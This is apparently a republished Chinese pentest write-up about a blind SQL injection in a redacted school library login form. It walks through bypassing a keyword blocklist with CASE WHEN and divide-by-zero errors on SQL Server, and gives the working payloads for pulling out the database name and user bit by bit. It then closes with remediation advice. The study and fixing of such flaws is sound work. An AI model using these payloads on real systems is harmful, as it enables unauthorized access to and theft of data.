文章总结: 本文复盘某教育系统登录口SQL注入实战,目标采用关键词过滤拦截常规sleep、updatexml等payload。作者通过单引号转义三步法确认注入点,利用casewhen配合SQLServer除零报错构建布尔盲注信道,通过302/500状态码差异逐位获取库名。文章详细记录了信道建立、字符二分法猜测、踩坑点(URL编码问题)及修复建议(参数化查询、密码哈希、最小权限等),展示了绕过黑名单的完整盲注流程。 综合评分: 88 文章分类: web安全,渗透测试,漏洞分析,实战经验,安全开发
实战 | 过滤了一堆注入关键词,我用一道排除法把库名拖了出来
原创
狗头安全 狗头安全
狗头网络安全
2026年6月29日 20:06 四川
在小说阅读器读本章
去阅读
某edu登录口sql注入
0x00 前言
这篇文章给师傅们复盘一个最近测的登录注入,目标已脱敏,接口统一写成 /xxx,IP、单位、库名、账号也都打码了。漏洞本身不算多高深,但有两个点我觉得值得拿出来说说:
- 这站做了关键词过滤,
sleep、updatexml、extractvalue这些常规 payload 一发过去就 500,一开始我差点以为是没洞。 - 绕过用的不是什么花活,就是一个标准的
CASE WHEN,配合 SQL Server 除零报错,硬生生造出一条布尔盲注信道。
中间还踩了个坑卡了我二十多分钟,后面会讲,希望师傅们别再栽。
全文目录:
- 资产与初步判断
- 单引号试探,差点放弃
- 三步确认是 SQL 注入
- 摸清过滤规则
- CASE WHEN + 除零,造一条信道出来
- 把库名一个字一个字抠出来
- 危害与修复
0x01 资产与初步判断
目标是一个图书馆管理系统,登录框很朴素,账号密码两个输入框。抓包看了下,登录请求是这样的:
POST /xxx HTTP/1.1Host: x.x.x.x:xxxxContent-Type: application/x-www-form-urlencodedContent-Length: 20 code=admin&pass=test
code 是账号,pass 是密码。随手输个错的,响应回的是 302,body 很短:
HTTP/1.1 302Content-Type: application/json;charset=utf-8 {”msg”:””,”size”:0,”success”:false}
success:false,登录失败。注意这个 302 + 46 字节的 body,这就是后面所有判断的”正常基线”,师傅们做盲注一定要先把基线锁死,不然后面全乱。
0x02 单引号一发,差点被劝退
老规矩,先在 code 后面怼个单引号试闭合:
code=admin'&pass=test
响应直接 500:
HTTP/1.1 500{”timestamp”:”...”,”status”:500,”error”:”Internal Server Error”,”path”:”/xxx”}
500 当然是好兆头,引号大概率破坏了 SQL 闭合。但光一个 500 不能下结论——程序自己抛异常也会 500,不一定是注入。
于是我顺手把常规探测 payload 都甩了一遍,' or sleep(5)--、' and updatexml(1,...)、' and extractvalue(...)……结果全是 500,一个都不延时、一个都不报错回显。
说实话这会儿我心里已经在打退堂鼓了,第一反应是”这是不是就一个普通的输入校验报错,根本不是注入”。
但还是不死心,决定用最笨但最干净的办法把它锤死。
0x03 三步法,把”我猜”变成”实锤”
判断 SQL 注入,我个人最信的就是这套引号转义三连,干净、不依赖回显、不依赖延时:
第一步:基线(前面有了) 正常请求 → 302。
第二步:一个单引号 → 报错
code=admin'&pass=test
→ 500。引号破坏了闭合。
第三步:两个单引号 → 恢复
code=admin''&pass=test
→ 302,又正常了。
关键就在第三步。在 SQL 里 '' 是单引号的转义写法,等于把那个引号”喂”回给字符串,语法就重新合法了。
一个引号崩、两个引号好——只有真正的 SQL 引擎才认这个转义规则。 普通的程序字符串校验不会因为你多打一个引号就”恢复正常”。到这一步,注入实锤,跟有没有延时、有没有报错回显一点关系都没有。
师傅们记住这套,遇到 WAF 把报错和延时都拦了的场景特别好用。
0x04 摸清它到底过滤了啥
实锤之后回头复盘,为啥常规 payload 全 500。挨个试下来,发现凡是 body 里带这几个词的,无论语境对不对,一律秒回 500:
| 关键词 | 结果 | | — | — | | SLEEP | 直接 500 | | EXTRACTVALUE | 直接 500 | | UPDATEXML | 直接 500 | | IF() | 直接 500 | | BENCHMARK | 直接 500 |
这是典型的应用层关键词黑名单——它根本没把 payload 交给数据库,匹配到词就直接拦了。所以时间盲注、报错注入这两条路基本被焊死了。
那就得换个数据库不拦、黑名单又没收录的写法。我盯上了 CASE WHEN。
0x05 用一道除法,凭空造一条信道
思路是这样的。既然没有回显、没有延时,那我就需要一个布尔信号——让”条件成立”和”条件不成立”返回不一样的东西,哪怕只是状态码不一样也行。
SQL Server 有个很经典的小特性:除以零会直接抛异常。把它塞进 CASE WHEN 里:
CASE WHEN (条件) THEN '1' ELSE 1/0 END
- 条件为真 → 走
THEN '1',SQL 正常执行 → 302 - 条件为假 → 走
ELSE 1/0,触发除零异常 → 500
CASE、WHEN、THEN、1/0 这些词,黑名单一个都没收。完美。
拼到 pass 参数里,先验证一下数据库类型对不对(盲注前先确认方言,能省很多事):
code=admin&pass=test' AND CASE WHEN (@@VERSION LIKE '%SQL Server%') THEN '1' ELSE 1/0 END='1
响应 302。说明 @@VERSION 里确实有 “SQL Server”,后端就是 MSSQL。再补一刀,LEN() 能用、LENGTH() 报错,也对得上 MSSQL 的方言特征。
再发一个故意为假的,验证信道是双向稳定的:
code=admin&pass=test' AND CASE WHEN (1=0) THEN '1' ELSE 1/0 END='1
响应 500。
到这儿,一条干净的布尔信道就成了:
真 → 302(46 字节) 假 → 500(122 字节)
后面我只要不停替换 CASE WHEN 里的”条件”,数据库就会忠实地用 302/500 告诉我条件对不对。它本人一个字都没回显,但状态码已经全交代了。
这里插一个坑,师傅们务必看
我中间卡了二十多分钟,现象是:带 payload 的请求全部返回 500,连本该 302 的都 500。 我一度以为信道不稳。
后来才反应过来,是抓包工具把 body 二次 URL 编码了——单引号被编成了 %27、空格编成 %20。这么一编,数据库收到的根本不是我写的 SQL,CASE WHEN 当然不生效,全 500。
解决办法:在 Yakit 这类工具里,确保 body 以 raw 原样发送,关掉自动编码。单引号、空格、括号、等号必须保持原文。师傅们要是遇到”所有 payload 都 500″,第一件事就是去看单引号是不是被编成了 %27 或者更离谱的 %2527。
0x06 把库名一个字一个字抠出来
信道有了,剩下就是体力活。盲注的本质就是不停问是非题,我演示一下抠数据库名的完整过程。
第一步,先问长度。
... CASE WHEN (LEN(DB_NAME())=7) THEN '1' ELSE 1/0 END='1
→ 302,库名长度是 7。换成 =6、=99 都是 500,排除掉。
第二步,逐位猜字符。 用 SUBSTRING 把每一位切出来比:
... CASE WHEN (SUBSTRING(DB_NAME(),1,1)='x') THEN '1' ELSE 1/0 END='1
猜对了 302,猜错了 500。比如验证第一位:
| Payload 条件 | 响应 | 结论 |
| — | — | — |
| SUBSTRING(DB_NAME(),1,1)='g' | 302 | 第 1 位是 g |
| SUBSTRING(DB_NAME(),1,1)='a' | 500 | 不是 a |
实战里当然不会从 a 到 z 挨个撞,那太慢。用二分法比 ASCII 大小:
... CASE WHEN (ASCII(SUBSTRING(DB_NAME(),1,1))>109) THEN '1' ELSE 1/0 END='1
大于就往上折,小于就往下折,平均七八次请求锁定一个字符。七位库名,几十个请求就拿全了。
整个过程数据库没有”泄露”过任何一个字节,所有信息都是我靠 302/500 这两种反应,一个 bit 一个 bit 拼出来的。这也是盲注最让人后背发凉的地方:它不需要回显,光靠”反应”就能把库掏空。
同样的手法,把 DB_NAME() 换成 SYSTEM_USER 抠出了系统账号,换成对 @@VERSION 的逐段判断能拼出版本。再往下顺着系统表(sysobjects、syscolumns 这些)遍历,表名、列名、任意一行数据,理论上都能逐字段读出来——包括读者信息、借阅记录、登录表里的账号密码。
0x07 顺手记几个雷
复盘时还发现几个一并写进报告的点:
-
密码大概率明文存。
pass是原样拼进 SQL 去比对的,说明库里存的就是明文。一旦被拖库,全站密码连个哈希都没有,直接裸奔。
-
存在升级成 RCE 的可能。
如果这个数据库连接账号权限给大了(比如 sysadmin),SQL Server 还能上
xp_cmdshell执行系统命令,那性质就从”数据泄露”变成”服务器失陷”了。这条我没实际打,报告里标的是”潜在风险,未验证”——师傅们做授权测试,没明确授权的高危动作千万别手贱。 -
同系统多点部署。
同一套程序挂在好几个地址上,一个洞,几台一起中招。
0x08 修复建议
给开发同学的整改清单,按优先级排:
-
参数化查询,这是唯一治本的。
把拼接 SQL 改成预编译参数,MyBatis 用
#{}而不是${}。核心就一句:让用户输入永远只能当”数据”,没机会变成 SQL 的一部分。这一步做到位,上面所有花活全部失效。 -
密码别明文存。
上 bcrypt / scrypt / Argon2,加盐哈希。
-
关键词黑名单只能当辅助,别当主防线。
这次就是最好的反面教材:它拦了五个词,漏了
CASE WHEN,然后就被人从这个缝里钻进来了。黑名单永远在追着攻击者的写法跑,补不完的。 -
登录接口加限流 + 账号锁定。
盲注动辄成百上千个请求,限速能把自动化攻击的成本顶得很高。
-
数据库账号按最小权限给。
别动不动 sysadmin,把那条能升级到命令执行的路,在配置层就堵死。
0x09 小结
这站给我最大的感受是:开发其实有安全意识,知道要防注入,也确实动手拦了一批关键词。可惜方向反了。
拦关键词,本质是在赌”攻击者只会用我见过的写法”。可注入的写法是写不完的,你拦 sleep,我用 CASE WHEN;你再拦 CASE,我还有别的。参数化查询不一样,它不跟你比谁的字典大,它直接让所有 payload 都落不了地。
一个是猜对方下一张牌出什么,一个是让对方根本上不了桌。差距就在这儿。
免责声明
本文所述测试均在合法授权范围内进行,文中涉及的目标单位、IP、接口路径、数据库信息均已脱敏处理,相关 payload 和细节仅用于安全研究与防御学习。请勿利用本文技术对任何未授权的系统进行测试,由此产生的一切后果与作者无关。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:狗头网络安全 狗头安全 狗头安全《实战 | 过滤了一堆注入关键词,我用一道排除法把库名拖了出来》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论